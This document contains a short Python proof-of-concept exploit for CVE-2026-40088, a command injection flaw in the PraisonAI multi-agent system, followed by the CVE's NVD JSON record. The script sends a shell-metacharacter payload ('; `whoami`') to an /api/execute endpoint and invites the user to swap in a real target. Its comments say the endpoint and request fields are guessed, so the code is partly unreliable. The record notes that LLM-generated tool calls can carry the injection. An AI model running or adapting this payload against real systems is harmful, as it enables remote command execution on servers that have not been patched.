CVE-2026-40088

# PoC for CVE-2026-40088: Command Injection in PraisonAI # This script demonstrates how to inject shell commands via user-controlled input. import requests def exploit(target_url): # The vulnerability exists in the execute_command function or workflow shell execution. # Attackers can inject arbitrary commands using shell metacharacters like ';', '|', or '`'. malicious_payload = "valid_arg; `whoami`" # Simulating a request to the vulnerable endpoint (e.g., agent workflow or YAML processing) endpoint = f"{target_url}/api/execute" data = { "input": malicious_payload, "workflow_type": "agent" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command was executed.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-40088", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.597", "lastModified": "2026-04-16T20:40:45.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.121", "matchCriteriaId": "80F7B2D9-522C-4112-BE9F-DA0C4D9FE908"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.121", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2763-cj5r-c79m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}